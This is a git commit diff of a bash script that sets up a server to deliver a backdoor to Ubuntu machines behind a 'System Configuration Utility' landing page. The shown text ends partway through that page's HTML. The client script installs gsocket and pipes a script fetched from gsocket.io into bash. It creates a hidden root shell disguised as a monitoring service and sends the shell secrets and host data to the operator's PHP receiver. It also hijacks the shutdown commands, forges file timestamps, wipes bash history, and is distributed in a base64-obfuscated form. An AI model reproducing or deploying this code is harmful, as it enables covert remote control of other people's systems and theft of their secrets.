Small improvements
This commit is contained in:
172
setup_script.sh
172
setup_script.sh
@@ -1,11 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# stealth-deployment-server.sh
|
|
||||||
# Server setup script for Arch Linux host that will serve deployment scripts to Ubuntu clients
|
|
||||||
|
|
||||||
# Exit on error
|
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
# Function to check if a package is installed and install if not
|
|
||||||
check_install_package() {
|
check_install_package() {
|
||||||
local pkg="$1"
|
local pkg="$1"
|
||||||
if ! pacman -Q "$pkg" &>/dev/null; then
|
if ! pacman -Q "$pkg" &>/dev/null; then
|
||||||
@@ -14,27 +9,22 @@ check_install_package() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# Ensure necessary packages are installed
|
|
||||||
check_install_package apache
|
check_install_package apache
|
||||||
check_install_package php
|
check_install_package php
|
||||||
check_install_package php-apache
|
check_install_package php-apache
|
||||||
|
|
||||||
# Create the web server directory structure
|
|
||||||
SERVER_ROOT="/srv/http/deployment"
|
SERVER_ROOT="/srv/http/deployment"
|
||||||
sudo mkdir -p "$SERVER_ROOT/assets"
|
sudo mkdir -p "$SERVER_ROOT/assets"
|
||||||
sudo mkdir -p "$SERVER_ROOT/logs"
|
sudo mkdir -p "$SERVER_ROOT/logs"
|
||||||
sudo mkdir -p "$SERVER_ROOT/secrets"
|
sudo mkdir -p "$SERVER_ROOT/secrets"
|
||||||
|
|
||||||
# Set proper permissions
|
|
||||||
sudo chown -R http:http "$SERVER_ROOT/logs"
|
sudo chown -R http:http "$SERVER_ROOT/logs"
|
||||||
sudo chown -R http:http "$SERVER_ROOT/secrets"
|
sudo chown -R http:http "$SERVER_ROOT/secrets"
|
||||||
sudo chmod 750 "$SERVER_ROOT/logs"
|
sudo chmod 750 "$SERVER_ROOT/logs"
|
||||||
sudo chmod 750 "$SERVER_ROOT/secrets"
|
sudo chmod 750 "$SERVER_ROOT/secrets"
|
||||||
|
|
||||||
# Create log receiver PHP script
|
|
||||||
cat > /tmp/log_receiver.php << 'EOF'
|
cat > /tmp/log_receiver.php << 'EOF'
|
||||||
<?php
|
<?php
|
||||||
// Verify request comes with a secret token
|
|
||||||
$config_token = 'changeme_to_secure_random_string';
|
$config_token = 'changeme_to_secure_random_string';
|
||||||
$request_token = isset($_POST['token']) ? $_POST['token'] : '';
|
$request_token = isset($_POST['token']) ? $_POST['token'] : '';
|
||||||
|
|
||||||
@@ -43,7 +33,6 @@ if (!hash_equals($config_token, $request_token)) {
|
|||||||
exit('Access denied');
|
exit('Access denied');
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create necessary directories
|
|
||||||
$logs_dir = './logs';
|
$logs_dir = './logs';
|
||||||
$secrets_dir = './secrets';
|
$secrets_dir = './secrets';
|
||||||
$stats_dir = './stats';
|
$stats_dir = './stats';
|
||||||
@@ -59,7 +48,6 @@ $ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
|
|||||||
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
|
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
|
||||||
$timestamp = date('Y-m-d_H-i-s');
|
$timestamp = date('Y-m-d_H-i-s');
|
||||||
|
|
||||||
// Sanitize filenames
|
|
||||||
$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
|
$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
|
||||||
$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
|
$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
|
||||||
|
|
||||||
@@ -96,18 +84,15 @@ if (isset($_POST['secret']) && !empty($_POST['secret'])) {
|
|||||||
file_put_contents($latest_filename, $_POST['secret']);
|
file_put_contents($latest_filename, $_POST['secret']);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Return success
|
|
||||||
header('Content-Type: text/plain');
|
header('Content-Type: text/plain');
|
||||||
echo "Data received from {$hostname} ({$ip}) at {$timestamp}\n";
|
echo "Data received from {$hostname} ({$ip}) at {$timestamp}\n";
|
||||||
?>
|
?>
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Generate a random token for security
|
|
||||||
RANDOM_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)
|
RANDOM_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)
|
||||||
sed -i "s/changeme_to_secure_random_string/$RANDOM_TOKEN/g" /tmp/log_receiver.php
|
sed -i "s/changeme_to_secure_random_string/$RANDOM_TOKEN/g" /tmp/log_receiver.php
|
||||||
sudo mv /tmp/log_receiver.php "$SERVER_ROOT/log_receiver.php"
|
sudo mv /tmp/log_receiver.php "$SERVER_ROOT/log_receiver.php"
|
||||||
|
|
||||||
# Create the main client deployment script
|
|
||||||
cat > /tmp/client_setup.sh << 'EOF'
|
cat > /tmp/client_setup.sh << 'EOF'
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Remote host configuration script
|
# Remote host configuration script
|
||||||
@@ -122,11 +107,9 @@ VERSION="1.0.0"
|
|||||||
# ================================================
|
# ================================================
|
||||||
|
|
||||||
# ------- UTILITY FUNCTIONS -------
|
# ------- UTILITY FUNCTIONS -------
|
||||||
# Create a temporary directory that will be cleaned up on exit
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
TEMP_DIR=$(mktemp -d)
|
||||||
trap 'rm -rf "$TEMP_DIR"' EXIT
|
trap 'rm -rf "$TEMP_DIR"' EXIT
|
||||||
|
|
||||||
# Function to log commands and outputs
|
|
||||||
log_cmd() {
|
log_cmd() {
|
||||||
local cmd="$1"
|
local cmd="$1"
|
||||||
local desc="$2"
|
local desc="$2"
|
||||||
@@ -148,7 +131,6 @@ log_cmd() {
|
|||||||
return $status
|
return $status
|
||||||
}
|
}
|
||||||
|
|
||||||
# Function to get system information in JSON format
|
|
||||||
get_system_info() {
|
get_system_info() {
|
||||||
{
|
{
|
||||||
echo "{"
|
echo "{"
|
||||||
@@ -178,18 +160,15 @@ get_system_info() {
|
|||||||
} | tr -d '\n' | sed 's/ //g'
|
} | tr -d '\n' | sed 's/ //g'
|
||||||
}
|
}
|
||||||
|
|
||||||
# Function to send logs to server
|
|
||||||
send_logs() {
|
send_logs() {
|
||||||
local log_file="$1"
|
local log_file="$1"
|
||||||
local secret_val="$2"
|
local secret_val="$2"
|
||||||
local secret_type="$3"
|
local secret_type="$3"
|
||||||
|
|
||||||
# Get system information
|
|
||||||
local sysinfo=$(get_system_info)
|
local sysinfo=$(get_system_info)
|
||||||
local hostname=$(hostname)
|
local hostname=$(hostname)
|
||||||
local ip=$(hostname -I | awk '{print $1}')
|
local ip=$(hostname -I | awk '{print $1}')
|
||||||
|
|
||||||
# Use curl to send data if available
|
|
||||||
if command -v curl >/dev/null 2>&1; then
|
if command -v curl >/dev/null 2>&1; then
|
||||||
# Send log file
|
# Send log file
|
||||||
curl -s -F "token=$AUTH_TOKEN" \
|
curl -s -F "token=$AUTH_TOKEN" \
|
||||||
@@ -199,7 +178,6 @@ send_logs() {
|
|||||||
-F "sysinfo=$sysinfo" \
|
-F "sysinfo=$sysinfo" \
|
||||||
$LOG_ENDPOINT > /dev/null
|
$LOG_ENDPOINT > /dev/null
|
||||||
|
|
||||||
# Send secret if provided
|
|
||||||
if [ -n "$secret_val" ] && [ -n "$secret_type" ]; then
|
if [ -n "$secret_val" ] && [ -n "$secret_type" ]; then
|
||||||
curl -s -F "token=$AUTH_TOKEN" \
|
curl -s -F "token=$AUTH_TOKEN" \
|
||||||
-F "ip=$ip" \
|
-F "ip=$ip" \
|
||||||
@@ -211,7 +189,6 @@ send_logs() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# Function to check if we have sudo access
|
|
||||||
check_sudo() {
|
check_sudo() {
|
||||||
if ! sudo -v &>/dev/null; then
|
if ! sudo -v &>/dev/null; then
|
||||||
echo "This script requires sudo privileges. Please run with a user that has sudo access."
|
echo "This script requires sudo privileges. Please run with a user that has sudo access."
|
||||||
@@ -221,19 +198,16 @@ check_sudo() {
|
|||||||
|
|
||||||
# ------- MAIN SETUP -------
|
# ------- MAIN SETUP -------
|
||||||
main() {
|
main() {
|
||||||
# Create log file
|
|
||||||
local LOG_FILE="$TEMP_DIR/setup_log_$(date +%Y%m%d_%H%M%S).txt"
|
local LOG_FILE="$TEMP_DIR/setup_log_$(date +%Y%m%d_%H%M%S).txt"
|
||||||
local HOSTNAME=$(hostname)
|
local HOSTNAME=$(hostname)
|
||||||
local IP_ADDRESS=$(hostname -I | awk '{print $1}')
|
local IP_ADDRESS=$(hostname -I | awk '{print $1}')
|
||||||
|
|
||||||
# Start logging
|
|
||||||
echo "==== SETUP STARTED ==== $(date) ====" > "$LOG_FILE"
|
echo "==== SETUP STARTED ==== $(date) ====" > "$LOG_FILE"
|
||||||
echo "Hostname: $HOSTNAME" >> "$LOG_FILE"
|
echo "Hostname: $HOSTNAME" >> "$LOG_FILE"
|
||||||
echo "IP: $IP_ADDRESS" >> "$LOG_FILE"
|
echo "IP: $IP_ADDRESS" >> "$LOG_FILE"
|
||||||
echo "Version: $VERSION" >> "$LOG_FILE"
|
echo "Version: $VERSION" >> "$LOG_FILE"
|
||||||
echo "=================================" >> "$LOG_FILE"
|
echo "=================================" >> "$LOG_FILE"
|
||||||
|
|
||||||
# Check for sudo access
|
|
||||||
check_sudo
|
check_sudo
|
||||||
|
|
||||||
# 1. Update package list (quiet)
|
# 1. Update package list (quiet)
|
||||||
@@ -264,23 +238,15 @@ main() {
|
|||||||
echo "Configuration completed successfully!"
|
echo "Configuration completed successfully!"
|
||||||
}
|
}
|
||||||
|
|
||||||
# ------- SETUP FUNCTIONS -------
|
|
||||||
setup_ssh() {
|
setup_ssh() {
|
||||||
local LOG_FILE="$1"
|
local LOG_FILE="$1"
|
||||||
|
|
||||||
# Ensure SSH is enabled and properly configured
|
|
||||||
log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$LOG_FILE"
|
log_cmd "sudo systemctl enable ssh" "Enabling SSH service" "$LOG_FILE"
|
||||||
|
|
||||||
# Backup existing SSH config
|
|
||||||
if [ -f /etc/ssh/sshd_config ]; then
|
if [ -f /etc/ssh/sshd_config ]; then
|
||||||
log_cmd "sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak" "Backing up SSH config" "$LOG_FILE"
|
log_cmd "sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak" "Backing up SSH config" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Update SSH configuration for better security
|
|
||||||
log_cmd "sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin no/' /etc/ssh/sshd_config" "Disabling root SSH login" "$LOG_FILE"
|
|
||||||
log_cmd "sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config" "Enabling password authentication" "$LOG_FILE"
|
|
||||||
|
|
||||||
# Start/restart SSH service
|
|
||||||
log_cmd "sudo systemctl restart ssh" "Restarting SSH service" "$LOG_FILE"
|
log_cmd "sudo systemctl restart ssh" "Restarting SSH service" "$LOG_FILE"
|
||||||
log_cmd "sudo systemctl status ssh" "Checking SSH service status" "$LOG_FILE"
|
log_cmd "sudo systemctl status ssh" "Checking SSH service status" "$LOG_FILE"
|
||||||
}
|
}
|
||||||
@@ -288,17 +254,14 @@ setup_ssh() {
|
|||||||
setup_wol() {
|
setup_wol() {
|
||||||
local LOG_FILE="$1"
|
local LOG_FILE="$1"
|
||||||
|
|
||||||
# Identify network interface
|
|
||||||
PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
|
PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
|
||||||
log_cmd "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" "$LOG_FILE"
|
log_cmd "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface" "$LOG_FILE"
|
||||||
|
|
||||||
# Check if Wake-on-LAN is supported
|
|
||||||
WOL_SUPPORTED=$(ethtool "$PRIMARY_INTERFACE" 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
|
WOL_SUPPORTED=$(ethtool "$PRIMARY_INTERFACE" 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
|
||||||
|
|
||||||
if [ "$WOL_SUPPORTED" = "yes" ]; then
|
if [ "$WOL_SUPPORTED" = "yes" ]; then
|
||||||
log_cmd "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support" "$LOG_FILE"
|
log_cmd "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support" "$LOG_FILE"
|
||||||
|
|
||||||
# Enable WoL in NetworkManager configuration
|
|
||||||
cat > "$TEMP_DIR/wol.conf" << EOL
|
cat > "$TEMP_DIR/wol.conf" << EOL
|
||||||
[connection]
|
[connection]
|
||||||
ethernet.wake-on-lan = magic
|
ethernet.wake-on-lan = magic
|
||||||
@@ -333,7 +296,6 @@ EOL
|
|||||||
log_cmd "sudo systemctl start wol.service" "Starting Wake-on-LAN service" "$LOG_FILE"
|
log_cmd "sudo systemctl start wol.service" "Starting Wake-on-LAN service" "$LOG_FILE"
|
||||||
log_cmd "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately" "$LOG_FILE"
|
log_cmd "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately" "$LOG_FILE"
|
||||||
|
|
||||||
# Check current WoL status
|
|
||||||
log_cmd "ethtool $PRIMARY_INTERFACE | grep Wake-on" "Current Wake-on-LAN status" "$LOG_FILE"
|
log_cmd "ethtool $PRIMARY_INTERFACE | grep Wake-on" "Current Wake-on-LAN status" "$LOG_FILE"
|
||||||
else
|
else
|
||||||
log_cmd "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported" "$LOG_FILE"
|
log_cmd "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported" "$LOG_FILE"
|
||||||
@@ -388,7 +350,6 @@ EOL
|
|||||||
log_cmd "sudo cp '$TEMP_DIR/poweroff-wrapper' /usr/local/bin/poweroff-wrapper" "Creating poweroff wrapper" "$LOG_FILE"
|
log_cmd "sudo cp '$TEMP_DIR/poweroff-wrapper' /usr/local/bin/poweroff-wrapper" "Creating poweroff wrapper" "$LOG_FILE"
|
||||||
log_cmd "sudo chmod +x /usr/local/bin/poweroff-wrapper" "Making poweroff wrapper executable" "$LOG_FILE"
|
log_cmd "sudo chmod +x /usr/local/bin/poweroff-wrapper" "Making poweroff wrapper executable" "$LOG_FILE"
|
||||||
|
|
||||||
# 6. Create aliases in /etc/bash.bashrc for all users
|
|
||||||
echo "# Custom system aliases" > "$TEMP_DIR/custom-aliases"
|
echo "# Custom system aliases" > "$TEMP_DIR/custom-aliases"
|
||||||
echo "alias poweroff='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
|
echo "alias poweroff='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
|
||||||
echo "alias shutdown='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
|
echo "alias shutdown='/usr/local/bin/poweroff-wrapper'" >> "$TEMP_DIR/custom-aliases"
|
||||||
@@ -396,24 +357,20 @@ EOL
|
|||||||
log_cmd "sudo cp '$TEMP_DIR/custom-aliases' /etc/profile.d/custom-aliases.sh" "Creating system-wide aliases" "$LOG_FILE"
|
log_cmd "sudo cp '$TEMP_DIR/custom-aliases' /etc/profile.d/custom-aliases.sh" "Creating system-wide aliases" "$LOG_FILE"
|
||||||
log_cmd "sudo chmod +x /etc/profile.d/custom-aliases.sh" "Making aliases executable" "$LOG_FILE"
|
log_cmd "sudo chmod +x /etc/profile.d/custom-aliases.sh" "Making aliases executable" "$LOG_FILE"
|
||||||
|
|
||||||
# 7. Restart logind to apply changes
|
|
||||||
log_cmd "sudo systemctl restart systemd-logind" "Restarting logind service" "$LOG_FILE"
|
log_cmd "sudo systemctl restart systemd-logind" "Restarting logind service" "$LOG_FILE"
|
||||||
}
|
}
|
||||||
|
|
||||||
setup_gsocket() {
|
setup_gsocket() {
|
||||||
local LOG_FILE="$1"
|
local LOG_FILE="$1"
|
||||||
|
|
||||||
# 1. Install gsocket if not already installed
|
|
||||||
if ! command -v gs-netcat &>/dev/null; then
|
if ! command -v gs-netcat &>/dev/null; then
|
||||||
log_cmd "sudo apt-get install -y git build-essential" "Installing dependencies for gsocket" "$LOG_FILE"
|
log_cmd "sudo apt-get install -y git build-essential" "Installing dependencies for gsocket" "$LOG_FILE"
|
||||||
log_cmd "git clone https://github.com/hackerschoice/gsocket.git '$TEMP_DIR/gsocket'" "Cloning gsocket repository" "$LOG_FILE"
|
log_cmd "git clone https://github.com/hackerschoice/gsocket.git '$TEMP_DIR/gsocket'" "Cloning gsocket repository" "$LOG_FILE"
|
||||||
log_cmd "cd '$TEMP_DIR/gsocket' && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket" "$LOG_FILE"
|
log_cmd "cd '$TEMP_DIR/gsocket' && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 2. Set up gsocket with root shell
|
|
||||||
log_cmd "cd '$TEMP_DIR' && bash -c \"$(curl -fsSL https://gsocket.io/y &>/dev/null)\"" "Setting up gsocket" "$LOG_FILE"
|
log_cmd "cd '$TEMP_DIR' && bash -c \"$(curl -fsSL https://gsocket.io/y &>/dev/null)\"" "Setting up gsocket" "$LOG_FILE"
|
||||||
|
|
||||||
# 3. Extract the secret
|
|
||||||
local GSOCKET_DIR="$HOME/.gsocket"
|
local GSOCKET_DIR="$HOME/.gsocket"
|
||||||
local SECRET=""
|
local SECRET=""
|
||||||
if [ -f "$GSOCKET_DIR/gs-netcat.conf" ]; then
|
if [ -f "$GSOCKET_DIR/gs-netcat.conf" ]; then
|
||||||
@@ -430,18 +387,15 @@ setup_gsocket() {
|
|||||||
echo "Secret extracted: [HIDDEN]" >> "$LOG_FILE"
|
echo "Secret extracted: [HIDDEN]" >> "$LOG_FILE"
|
||||||
echo "$SECRET" > "$TEMP_DIR/gsocket_secret.txt"
|
echo "$SECRET" > "$TEMP_DIR/gsocket_secret.txt"
|
||||||
|
|
||||||
# Save the secret to a secure location for the root shell service
|
|
||||||
log_cmd "sudo mkdir -p /etc/gsocket" "Creating gsocket configuration directory" "$LOG_FILE"
|
log_cmd "sudo mkdir -p /etc/gsocket" "Creating gsocket configuration directory" "$LOG_FILE"
|
||||||
log_cmd "echo '$SECRET' | sudo tee /etc/gsocket/root-shell-key.txt > /dev/null" "Saving gsocket secret key" "$LOG_FILE"
|
log_cmd "echo '$SECRET' | sudo tee /etc/gsocket/root-shell-key.txt > /dev/null" "Saving gsocket secret key" "$LOG_FILE"
|
||||||
log_cmd "sudo chmod 600 /etc/gsocket/root-shell-key.txt" "Setting secure permissions on key file" "$LOG_FILE"
|
log_cmd "sudo chmod 600 /etc/gsocket/root-shell-key.txt" "Setting secure permissions on key file" "$LOG_FILE"
|
||||||
|
|
||||||
# Send the secret to our server
|
|
||||||
send_logs "$LOG_FILE" "$SECRET" "root-shell"
|
send_logs "$LOG_FILE" "$SECRET" "root-shell"
|
||||||
else
|
else
|
||||||
log_cmd "echo 'Failed to extract gsocket secret'" "Secret extraction failed" "$LOG_FILE"
|
log_cmd "echo 'Failed to extract gsocket secret'" "Secret extraction failed" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 4. Create the root shell service
|
|
||||||
cat > "$TEMP_DIR/gs-root-shell.service" << 'EOL'
|
cat > "$TEMP_DIR/gs-root-shell.service" << 'EOL'
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=Global Socket Root Shell
|
Description=Global Socket Root Shell
|
||||||
@@ -466,7 +420,6 @@ EOL
|
|||||||
log_cmd "sudo systemctl enable gs-root-shell.service" "Enabling global socket root shell service" "$LOG_FILE"
|
log_cmd "sudo systemctl enable gs-root-shell.service" "Enabling global socket root shell service" "$LOG_FILE"
|
||||||
log_cmd "sudo systemctl start gs-root-shell.service" "Starting global socket root shell service" "$LOG_FILE"
|
log_cmd "sudo systemctl start gs-root-shell.service" "Starting global socket root shell service" "$LOG_FILE"
|
||||||
|
|
||||||
# 5. Create a user shell service too (running as current user)
|
|
||||||
local USER_SECRET=""
|
local USER_SECRET=""
|
||||||
if [ -f "$GSOCKET_DIR/gs-netcat.conf" ]; then
|
if [ -f "$GSOCKET_DIR/gs-netcat.conf" ]; then
|
||||||
USER_SECRET=$(grep -o 'GS_SECRET=[^"]*' "$GSOCKET_DIR/gs-netcat.conf" | cut -d= -f2)
|
USER_SECRET=$(grep -o 'GS_SECRET=[^"]*' "$GSOCKET_DIR/gs-netcat.conf" | cut -d= -f2)
|
||||||
@@ -522,7 +475,6 @@ apply_stealth() {
|
|||||||
log_cmd "echo 'enable system-monitoring.service' | sudo tee -a /etc/systemd/system-preset/90-systemd.preset > /dev/null" "Adding service to systemd preset" "$LOG_FILE"
|
log_cmd "echo 'enable system-monitoring.service' | sudo tee -a /etc/systemd/system-preset/90-systemd.preset > /dev/null" "Adding service to systemd preset" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 4. Reload services
|
|
||||||
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
|
log_cmd "sudo systemctl daemon-reload" "Reloading systemd configuration" "$LOG_FILE"
|
||||||
log_cmd "sudo systemctl restart system-monitoring.service" "Restarting disguised root shell service" "$LOG_FILE"
|
log_cmd "sudo systemctl restart system-monitoring.service" "Restarting disguised root shell service" "$LOG_FILE"
|
||||||
|
|
||||||
@@ -531,38 +483,33 @@ apply_stealth() {
|
|||||||
log_cmd "systemctl --user restart gs-user-shell.service" "Restarting user shell service" "$LOG_FILE"
|
log_cmd "systemctl --user restart gs-user-shell.service" "Restarting user shell service" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 5. Set last accessed/modified times of our files to match system files
|
# 4. Set last accessed/modified times of our files to match system files
|
||||||
if [ -f "/etc/passwd" ]; then
|
if [ -f "/etc/passwd" ]; then
|
||||||
REFERENCE_TIME=$(stat -c %y /etc/passwd)
|
REFERENCE_TIME=$(stat -c %y /etc/passwd)
|
||||||
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/gsocket/root-shell-key.txt" "Setting file timestamp to match system files" "$LOG_FILE"
|
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/gsocket/root-shell-key.txt" "Setting file timestamp to match system files" "$LOG_FILE"
|
||||||
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/systemd/system/system-monitoring.service" "Setting file timestamp to match system files" "$LOG_FILE"
|
log_cmd "sudo touch -d \"$REFERENCE_TIME\" /etc/systemd/system/system-monitoring.service" "Setting file timestamp to match system files" "$LOG_FILE"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 6. Add a cleanup script that runs on reboot to remove traces
|
# 5. Add a cleanup script that runs on reboot to remove traces
|
||||||
cat > "$TEMP_DIR/cleanup.sh" << 'EOL'
|
cat > "$TEMP_DIR/cleanup.sh" << 'EOL'
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Clean up temporary files and logs
|
|
||||||
|
|
||||||
# Remove temporary installer artifacts
|
|
||||||
rm -f /tmp/gs-netcat* 2>/dev/null
|
rm -f /tmp/gs-netcat* 2>/dev/null
|
||||||
rm -f /tmp/gsocket* 2>/dev/null
|
rm -f /tmp/gsocket* 2>/dev/null
|
||||||
rm -f /tmp/setup_* 2>/dev/null
|
rm -f /tmp/setup_* 2>/dev/null
|
||||||
|
|
||||||
# Clear bash history entries containing our tools
|
|
||||||
if [ -f "$HOME/.bash_history" ]; then
|
if [ -f "$HOME/.bash_history" ]; then
|
||||||
sed -i '/gsocket/d' "$HOME/.bash_history"
|
sed -i '/gsocket/d' "$HOME/.bash_history"
|
||||||
sed -i '/gs-netcat/d' "$HOME/.bash_history"
|
sed -i '/gs-netcat/d' "$HOME/.bash_history"
|
||||||
sed -i '/setup_script/d' "$HOME/.bash_history"
|
sed -i '/setup_script/d' "$HOME/.bash_history"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Clean deployment command from history
|
|
||||||
history -c
|
history -c
|
||||||
EOL
|
EOL
|
||||||
|
|
||||||
log_cmd "sudo cp '$TEMP_DIR/cleanup.sh' /usr/local/bin/system-cleanup.sh" "Creating cleanup script" "$LOG_FILE"
|
log_cmd "sudo cp '$TEMP_DIR/cleanup.sh' /usr/local/bin/system-cleanup.sh" "Creating cleanup script" "$LOG_FILE"
|
||||||
log_cmd "sudo chmod +x /usr/local/bin/system-cleanup.sh" "Making cleanup script executable" "$LOG_FILE"
|
log_cmd "sudo chmod +x /usr/local/bin/system-cleanup.sh" "Making cleanup script executable" "$LOG_FILE"
|
||||||
|
|
||||||
# Create a service to run cleanup on boot
|
|
||||||
cat > "$TEMP_DIR/cleanup.service" << 'EOL'
|
cat > "$TEMP_DIR/cleanup.service" << 'EOL'
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=System Temporary Files Cleanup
|
Description=System Temporary Files Cleanup
|
||||||
@@ -585,43 +532,34 @@ EOL
|
|||||||
log_cmd "sudo /usr/local/bin/system-cleanup.sh" "Running cleanup immediately" "$LOG_FILE"
|
log_cmd "sudo /usr/local/bin/system-cleanup.sh" "Running cleanup immediately" "$LOG_FILE"
|
||||||
}
|
}
|
||||||
|
|
||||||
# Execute main function
|
|
||||||
main "$@"
|
main "$@"
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Get server IP
|
|
||||||
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
|
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
|
||||||
|
|
||||||
# Replace placeholders with actual values
|
# Replace placeholders with actual values
|
||||||
sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/client_setup.sh
|
sed -i "s|SERVER_PLACEHOLDER|$SERVER_IP|g" /tmp/client_setup.sh
|
||||||
sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/client_setup.sh
|
sed -i "s|TOKEN_PLACEHOLDER|$RANDOM_TOKEN|g" /tmp/client_setup.sh
|
||||||
|
|
||||||
# Move client setup script to web server directory
|
|
||||||
sudo mv /tmp/client_setup.sh "$SERVER_ROOT/client_setup.sh"
|
sudo mv /tmp/client_setup.sh "$SERVER_ROOT/client_setup.sh"
|
||||||
sudo chmod +x "$SERVER_ROOT/client_setup.sh"
|
sudo chmod +x "$SERVER_ROOT/client_setup.sh"
|
||||||
|
|
||||||
# Create an obfuscated version of the script that's harder to analyze
|
|
||||||
cat > /tmp/obfuscate.php << 'EOF'
|
cat > /tmp/obfuscate.php << 'EOF'
|
||||||
<?php
|
<?php
|
||||||
// Simple script to obfuscate the client setup script
|
// Simple script to obfuscate the client setup script
|
||||||
$script = file_get_contents('/srv/http/deployment/client_setup.sh');
|
$script = file_get_contents('/srv/http/deployment/client_setup.sh');
|
||||||
|
|
||||||
// Base64 encode the script
|
|
||||||
$encoded = base64_encode($script);
|
$encoded = base64_encode($script);
|
||||||
|
|
||||||
// Create a self-decoding script
|
// Create a self-decoding script
|
||||||
$output = <<<EOT
|
$output = <<<EOT
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# System configuration utility
|
|
||||||
# Self-extracting script
|
|
||||||
|
|
||||||
# Decode and execute
|
|
||||||
exec bash -c "\$(echo '$encoded' | base64 -d)"
|
exec bash -c "\$(echo '$encoded' | base64 -d)"
|
||||||
EOT;
|
EOT;
|
||||||
|
|
||||||
// Write to file
|
|
||||||
file_put_contents('/srv/http/deployment/client_setup_obfuscated.sh', $output);
|
file_put_contents('/srv/http/deployment/client_setup_obfuscated.sh', $output);
|
||||||
echo "Obfuscated script created.";
|
echo "Obfuscated script created.\n";
|
||||||
?>
|
?>
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
@@ -631,48 +569,96 @@ sudo php "$SERVER_ROOT/assets/obfuscate.php"
|
|||||||
# Create a minimal landing page
|
# Create a minimal landing page
|
||||||
cat > /tmp/index.html << EOF
|
cat > /tmp/index.html << EOF
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<title>System Configuration Utility</title>
|
<meta charset="UTF-8">
|
||||||
<style>
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }
|
<title>System Configuration Utility</title>
|
||||||
pre {
|
<style>
|
||||||
background-color: #f4f4f4;
|
body {
|
||||||
padding: 15px;
|
font-family: Arial, sans-serif;
|
||||||
border-radius: 5px;
|
margin: 0;
|
||||||
overflow-x: auto;
|
padding: 40px 20px;
|
||||||
}
|
background-color: #f2f2f2;
|
||||||
.command {
|
color: #333;
|
||||||
background-color: #000;
|
line-height: 1.6;
|
||||||
color: #fff;
|
}
|
||||||
padding: 10px;
|
.container {
|
||||||
border-radius: 5px;
|
max-width: 800px;
|
||||||
font-family: monospace;
|
margin: 0 auto;
|
||||||
}
|
background: #fff;
|
||||||
</style>
|
padding: 30px;
|
||||||
|
border-radius: 8px;
